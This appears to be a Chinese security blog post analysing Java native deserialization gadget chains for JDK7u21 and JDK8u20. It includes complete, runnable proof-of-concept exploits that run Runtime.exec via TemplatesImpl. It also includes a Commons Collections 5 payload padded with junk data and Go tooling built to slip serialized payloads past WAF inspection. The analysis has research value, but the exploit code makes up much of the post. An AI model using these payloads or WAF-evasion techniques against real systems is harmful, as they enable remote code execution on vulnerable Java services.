JDK原生反序列化分析

13 分钟

前言

无论是CC链子、HessianSpring等等链子,都依赖于pom.xml中需要引入的第三方的依赖里面的类,但是有很多情况在没有第三方依赖的情况下,能够通过jdk自带的类或方法完成反序列化也是非常必要的,以下文章对JDK原生反序列化进行一些记录。

JDK7u21

利用分析

jdk7u21链子的利用点是在代理类中。

  1. 整条链的核心类是在sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl中,AnnotationInvocationHandler也是Java各种链子中的老顾客了,顾名思义是用于处理动态代理的,负责拦截所有对代理对象方法的调用,当用代理类代理一个对象,调用该对象的任意方法,都会触发代理类中的invoke方法。

image-20240209091243287

image-20240209091737074

首先是AnnotationInvocationHandler构造方法,接收两个参数,分别是Annotation的对象和Map分别赋值给typememberValuesequalsImpl接收一个var1变量,先判断变量是否属于type类型,如若不是,进入到else中,调用getMemberMethods()方法,在getMemberMethods()方法中可以看到它通过反射的形式获取了type中的所有方法返回,随后进入到了for循环当中。

image-20240209092054804

for循环当中,遍历获取到的所有Method,从memberValues中获取到对应的方法后,通过asOneOfUs判断传入的var1是否是否是代理类,如果不是就返回空,如果是则返回转换的AnnotationInvocationHandler实例,如果返回到的var9是空的,则通过invoke触发获取到的相应方法。

到这里,可以看到出现了危险方法invoke方法,这时候可以想一下,如果type是一些恶意的接口或者类,比如说常用的templates等,是否就可以获取templates中的所有方法,随后通过invoke触发里面的恶意方法完成反序列化的利用?

往上找,谁能够调用equalsImpl()方法呢?在sun.reflect.annotation.AnnotationInvocationHandler#invoke中调用了这个方法,这个invoke类在spring反序列化链子中曾被利用过,通过多层代理的形式完成了反序列化,原因是它能够通过传入key-value的形式,通过控制key从而控制返回方法的值,而invoke恰巧又能通过代理触发。言归正传,此次的利用点在invoke的前半段。

image-20240209093254750

通过获取 方法的名字和变量的类型,当Method方法名等于equals并且接收的变量为1个,则会进入到euqalsImpl方法冲,传入的参数为Object数组中的第一个对象。

反序列化的链子,要引向的起点是readObject方法,7u21的链印象的是HashSet#readObject方法,在readObject方法中会调用 map.put()方法将集合中的值和一个常数放进去。

    public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length); //i也是一个哈希值
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { //关键
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }
key进行哈希操作,将计算出来的值与表中获取到的值做比较,如果两个值是相等的但又不是一个对象,会调用equals方法,如果这里的key是一个代理对象,传入的k是一个恶意的接口类或对象,那么就会触发AnnotationInvocationHandler#invoke()从而串起整条链子。

还要解决的问题就是要满足哈希相等的问题,也就是代理对象的哈希要与恶意对象的哈希相等,看一下哈希的计算方法

 final int hash(Object k) {
        int h = 0;
        if (useAltHashing) {
            if (k instanceof String) {
                return sun.misc.Hashing.stringHash32((String) k);
            }
            h = hashSeed;
        }
        h ^= k.hashCode();
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }
整个哈希的计算方法,变动的地方是k^hashCode(),因为恶意对象如templateshashCode()Native修饰的,所以只能希望能控制代理对象的,当调用一个代理对象的hashCode,必定会触发invoke()方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            }
//省略
    }

private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
    result += (127 * e.getKey().hashCode()) ^
    memberValueHashCode(e.getValue());
}
return result;
}
最终它来到的地方是hashCodeImpl中,通过累加的形式返回结果,可以看以下解释。

image-20240209100407719

最终只需要找到一个值的hashCode为0的字符串,令value等于TemplateImpl对象,那么两个hash就相等了,通过爆破的形式跑一下,跑出来的第一个值就是yoserial中的f5a5a608

image-20240209101203195

poc

整个Gadgets为:

HashSet#readObject()
    LinkedHashMap#put(e, PRESENT)
        Proxy#equals(k)
            AnnotationInvocationHandler#invoke()
                equalsImpl()
                    ...

poc为:

package com.example.NativeDeserialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;

public class jdk7 {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getTemplates();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "1");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        String ZeroHashCode="f5a5a608";
        HashMap hashMap=new HashMap();
        hashMap.put(ZeroHashCode,"zero");
        
        //通过代理的形式直接触发invoke
        Class<?> annotationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> HandlerConstructor=annotationHandler.getDeclaredConstructor(Class.class, Map.class);
        HandlerConstructor.setAccessible(true);
        InvocationHandler handler= (InvocationHandler) HandlerConstructor.newInstance(Templates.class,hashMap);

        Templates proxy= (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},handler);

        HashSet hashSet=new LinkedHashSet();
        hashSet.add(templates);
        hashSet.add(proxy);
        hashMap.put(ZeroHashCode,templates);
        serialize(hashSet);
        unserialize("ser.bin");

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static  void serialize(Object object) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}
要注意的点是在HashSet.add前,HashMap.put要先放入其它的值,如果不这样会导致在HashMap.put的时候就触发equals方法,提前导致命令执行。

修复

jdk7u21后面的版本之中进行了修复,当检测到type不是AnnotationType的情况下,抛出异常,导致无法正常反序列化。

image-20240209104636374

脏数据污染序列化数据

从甲骨文的官方网站可以看到对反序列化协议的结构定义Java反序列化协议

image-20240209105703234

根据官方文档定义,简单分析如下:

@Magic - 0xac ed  //表示该字节流按照Java序列化格式进行编码
@Version - 0x00 05 //表示反序列化的版本为5,所以序列化流的开头总是/ac/ed/00/05
@Contents        //数据流内容
  TC_OBJECT - 0x73     //表示序列化的数据是一个对象
    TC_CLASSDESC - 0x72    //对象的描述符合
      @ClassName    //类命
        @Length - 22 - 0x00 16 //类名的长度,完整的,22个字符
        @Value - com.example.test$test1 - 0x63 6f 6d 2e 65 78 61 6d 70 6c 65 2e 74 65 73 74 24 74 65 73 74 31    //类名的值
      @SerialVersionUID - 510941963498758434 - 0x07 17 3b 02 3b 2f 21 22 //唯一的序列化ID
      @Handler - 8257536    //处理程序的表示符合
      @ClassDescFlags - SC_SERIALIZABLE - 0x02 //类描述符标志,表示该类是可序列化的。
      @FieldCount - 2 - 0x00 02    //定义的字段的数量是2个
      []Fields
        Index 0:    //第一个字段
          Integer - I - 0x49    //整型
          @FieldName
            @Length - 3 - 0x00 03    //字段名3个字符串
            @Value - age - 0x61 67 65 //字段名为age,
        Index 1:
          Object - L - 0x4c    //字段类型是对象,
          @FieldName
            @Length - 4 - 0x00 04
            @Value - name - 0x6e 61 6d 65
          @ClassName
            TC_STRING - 0x74    //类型是String
              @Handler - 8257537    
              @Length - 18 - 0x00 12 //字符串的长度
              @Value - Ljava/lang/String; - 0x4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b //字符串的值,即 Ljava/lang/String;。
      []ClassAnnotations
        TC_ENDBLOCKDATA - 0x78    //注解数据块的结束标识符
      @SuperClassDesc    //父类描述符
        TC_NULL - 0x70    //表示序列化的类没有父类
    @Handler - 8257538
    []ClassData //类的数据
      @ClassName - com.example.test$test1 //类名
        {}Attributes //字段的属性
          age
            (integer)10 - 0x00 00 00 0a    
          name
            TC_STRING - 0x74
              @Handler - 8257539
              @Length - 5 - 0x00 05
              @Value - Aiwin - 0x41 69 77 69 6e
当然,官方文档中的各种字段还有很多,这里只是举一个例子表明序列化的存在类似于XML的结构的,具体还要看官方文档

大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。

我们可以寻找一个可以序列化,同时能将我们的恶意数据和垃圾字符包含在一起的类

主要还是大部分的集合类可以满足我们的要求,比如

1. ArrayList
2. LinkedList
3. HashMap
4. LinkedHashMap
5. TreeMap

主要思路是构建集合,添加大量的垃圾字符,加入我们恶意的对象(在不影响正常反序列化的情况下),然后序列化生成,以cc5为例:

package com.example.commoncollections1;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections5_waf {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//BadAttributeValueExpException.readObject()->TiedMapEntry.toString()->LazpMap.get()->ChainedTransformer.transform()
// ->Invokertransform.transform()->Runtime.exec()
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //解决第三个问题
                //解决Runtime无法被序列化的问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> Lazymap= LazyMap.decorate(map,chainedTransformer); //先设置为其它Transformer,使其put()方法不触发
        TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Field valField=badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);
        ArrayList arrayList=new ArrayList();
        String dirdata = "1";
        for (int i = 1; i <= 10000; i++) {
            dirdata += "1";
        }
        arrayList.add(dirdata);
        arrayList.add(badAttributeValueExpException);
        serialize(arrayList);
        unserialize("ser.bin");

    }

    public static  void serialize(Object object) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

image-20240209113932634

可以看到,我们在ClassData数据中塞入了很多没用的数据1,但是又不影响我们的正常RCE

当然还有blockdata脏数据与TC_RESET脏字符填充:

BLOCKDATA就是将脏输入填入到TC_BLOCKDATA中,从而尝试绕过waf

可直接使用phith0n的工具包:

package main

import (
    "io/ioutil"
    "log"
    "strings"

    "github.com/phith0n/zkar/serz"
)

func main() {
    data, _ := ioutil.ReadFile("文件路径")
    serialization, err := serz.FromBytes(data)
    if err != nil {
        log.Fatal("parse error")
    }
    var blockData = &serz.TCContent{
        Flag: serz.JAVA_TC_BLOCKDATALONG,
        BlockData: &serz.TCBlockData{
            Data: []byte(strings.Repeat("a", 40000)),
        },
    }
    serialization.Contents = append(serialization.Contents, blockData)
    ioutil.WriteFile("fakedata_bin.ser", serialization.ToBytes(), 0o755)
}

java在处理的时候会处理 contents 里面除了 TC_RESET 之外的首个结构,而且这个结构不能是 blockdata 、 exception 等。可以将数据塞入这个结构里面完成rce

package main

import (
    "io/ioutil"
    "log"
    "strings"
    "github.com/phith0n/zkar/serz"
)

func main() {
    data, _ := ioutil.ReadFile("文件名")
    serialization, err := serz.FromBytes(data)
    if err != nil {
        log.Fatal("parse error")
    }
    var contents []*serz.TCContent
      for i := 0; i < 5000; i++ {
      var blockData = &serz.TCContent{
      Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}
    serialization.Contents = append(serialization.Contents, blockData)
    ioutil.WriteFile("fakedata_bin.ser", serialization.ToBytes(), 0o755)
}
具体里面的函数代码,就不看了,这个绕过的核心就是在什么结构中填充脏字符串,但是又不影响正常反序列化,从而骗过waf

JDK8u20

关于成员抛弃机制:

在反序列化中,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值,但是如果这个值是一个对象的话,那么会为这个值分配一个 Handle。

因为7u21 的链子在初始化AnnotationInvocationHandler的时候加了是否注解类型的判断,从而使得原本链子在序列化的时候会抛出异常,而jdk8u20也是从异常为起点,在反序列化的过程中,会调用defaultReadFields方法对数据流中的Fields字段进行初始化,而HashSet在反序列化过程中不存在Fields,所以整条链的思路就是增加一个不存在Fields字段这里是类BeanContextSupport去抓AnnotationInvocationHandler中的异常,并且在后续的反序列化中不报错,它会被正常反序列化,这样在用AnnotationInvocationHandler的时候,直接进行替换。

BeanContextSupport#readObject,可以通过它来捕获并忽略异常,它通过readChildren处理流,捕抓了异常但是没用抛出钟断程序的执行,从而能够进行异常检查的绕过。

image-20240209131112530

    public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        int count = serializable;

        while (count-- > 0) {
            Object                      child = null;
            BeanContextSupport.BCSChild bscc  = null;

            try {
                child = ois.readObject();
                bscc  = (BeanContextSupport.BCSChild)ois.readObject();
            } catch (IOException ioe) {
                continue;
            } catch (ClassNotFoundException cnfe) {
                continue;
            }


            synchronized(child) {
                BeanContextChild bcc = null;

                try {
                    bcc = (BeanContextChild)child;
                } catch (ClassCastException cce) {
                    // do nothing;
                }

                if (bcc != null) {
                    try {
                        bcc.setBeanContext(getBeanContextPeer());

                       bcc.addPropertyChangeListener("beanContext", childPCL);
                       bcc.addVetoableChangeListener("beanContext", childVCL);

                    } catch (PropertyVetoException pve) {
                        continue;
                    }
                }

                childDeserializedHook(child, bscc);
            }
        }
    }

feihong师傅的payload:

package com.feihong.jre8u20;

import com.feihong.jre8u20.util.Gadgets;
import com.feihong.jre8u20.util.Reflections;
import com.feihong.jre8u20.util.Util;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Jre8u20 {
    public static void main(String[] args) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl("calc");
        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(handler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(handler, Templates.class);
        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

        LinkedHashSet set = new LinkedHashSet();

        BeanContextSupport bcs = new BeanContextSupport();
        Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
        Field serializable = cc.getDeclaredField("serializable");
        serializable.setAccessible(true);
        serializable.set(bcs, 0);

        Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
        beanContextChildPeer.set(bcs, bcs);

        set.add(bcs);

        //序列化
        ByteArrayOutputStream baous = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baous);

        oos.writeObject(set);
        oos.writeObject(handler);
        oos.writeObject(templates);
        oos.writeObject(proxy);
        oos.close();

        byte[] bytes = baous.toByteArray();
        System.out.println("[+] Modify HashSet size from  1 to 3");
        bytes[89] = 3; //修改hashset的长度(元素个数)

        //调整 TC_ENDBLOCKDATA 标记的位置
        //0x73 = 115, 0x78 = 120
        //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&
                    bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){
                System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet");
                bytes = Util.deleteAt(bytes, i + 5);
                break;
            }
        }


        //将 serializable 的值修改为 1
        //0x73 = 115, 0x78 = 120
        //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
                    bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
                System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1");
                bytes[i+6] = 1;
                break;
            }
        }

        /**
            TC_BLOCKDATA - 0x77
            Length - 4 - 0x04
            Contents - 0x00000000
            TC_ENDBLOCKDATA - 0x78
         **/

        //把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
        //目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
        //0x77 = 119, 0x78 = 120
        //0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
                    bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
                System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport");
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                bytes = Util.deleteAt(bytes, i);
                break;
            }
        }

        /*
              serialVersionUID - 0x00 00 00 00 00 00 00 00
                  newHandle 0x00 7e 00 28
                  classDescFlags - 0x00 -
                  fieldCount - 0 - 0x00 00
                  classAnnotations
                    TC_ENDBLOCKDATA - 0x78
                  superClassDesc
                    TC_NULL - 0x70
              newHandle 0x00 7e 00 29
         */
        //0x78 = 120, 0x70 = 112
        //0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
                    bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&
                    bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&
                    bytes[i+12] == 112){
                System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler");
                i = i + 13;
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
                bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);
                break;
            }
        }

        //将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
        //这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
        //原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
        // -> count = ois.readInt(); 报错,无法完成整个反序列化流程
        // 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
        // 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
        for(int i = 0; i < bytes.length; i++){
            if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&
                    bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){
                System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " +
                        "SC_SERIALIZABLE | SC_WRITE_METHOD");
                i = i + 58;
                bytes[i] = 3;
                break;
            }
        }

        //加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
        System.out.println("[+] Add TC_BLOCKDATA at end");
        bytes = Util.addAtLast(bytes, (byte) 0x78);


        FileOutputStream fous = new FileOutputStream("jre8u20.ser");
        fous.write(bytes);

        //反序列化
        FileInputStream fis = new FileInputStream("jre8u20.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }
}
在进行序列化的时候,向序列化流中读取了4一个对象,通过修改序列化中的一些特殊的byte,构造了一个我们想要的序列化流。在反序列化的时候,LinkedHashSet读到的size3,在反序列化第一个对象BeanContextSupport的时候,会进入到BeanContextSupportreadChildren逻辑,成功将AnnotationInvocationHander进行还原了(虽然在AnnotationInvocationHander反序列化的时候会抛出异常,但是BeanContextSupport捕获了异常)。LinkedHashSet这三个元素的时候,会发生哈希碰撞,从而导致RCE

参考文章:jdk8u20原生反序列化

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:JDK原生反序列化分析
文章链接:https://aiwin.fun/index.php/archives/4375/
最后编辑:2024 年 2 月 9 日 13:55 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 4 + 3 =
快来做第一个评论的人吧~